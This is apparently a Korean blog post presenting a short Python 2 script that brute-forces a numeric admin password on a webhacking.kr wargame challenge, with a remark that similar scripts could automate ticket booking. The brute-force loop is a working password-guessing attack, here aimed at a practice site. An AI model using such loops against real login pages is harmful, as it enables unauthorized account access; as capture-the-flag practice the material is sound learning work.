import httplib import time headers = { 'Host':'webhacking.kr', 'Cookie':'PHPSESSID=사용자 쿠키값; notice=yes' } conn = httplib.HTTPConnection('webhacking.kr', 80) for i in range(2000, 3000): conn.request('GET', '/challenge/web/web-04/index.php?cid=admin&cpw=%s'%i,'', headers) #request argv[2] == body OK? r = conn.getresponse() res=r.read() # print res # time.sleep(1) if(not res.find('Wrong')+1): print "Password is"+i
사람이 직접 접속해서 결과값을 확인해도되나, 인력의 소모가 많으니 위와같은 스크립트를 짜서 돌리면 결과를 쉽게확인할 수 있다.
이런 간단한 스크립트로 티켓의 예매나 선착순인 작업에 쓰일 수 있겠다.
반응형
'프로그래밍' 카테고리의 다른 글
[KakaoTalk] 카카오톡 분석결과물 (2) | 2016.01.07 |
---|---|
[Python] pycurl 예제 (0) | 2015.06.04 |
프로세스 메모리 관련 소스 (0) | 2012.12.06 |
[C] 음악파일 , 사진 암호화 프로그램 (0) | 2012.07.17 |
[C] Linked List 프로그램 (파일과 연동) (0) | 2012.07.17 |
댓글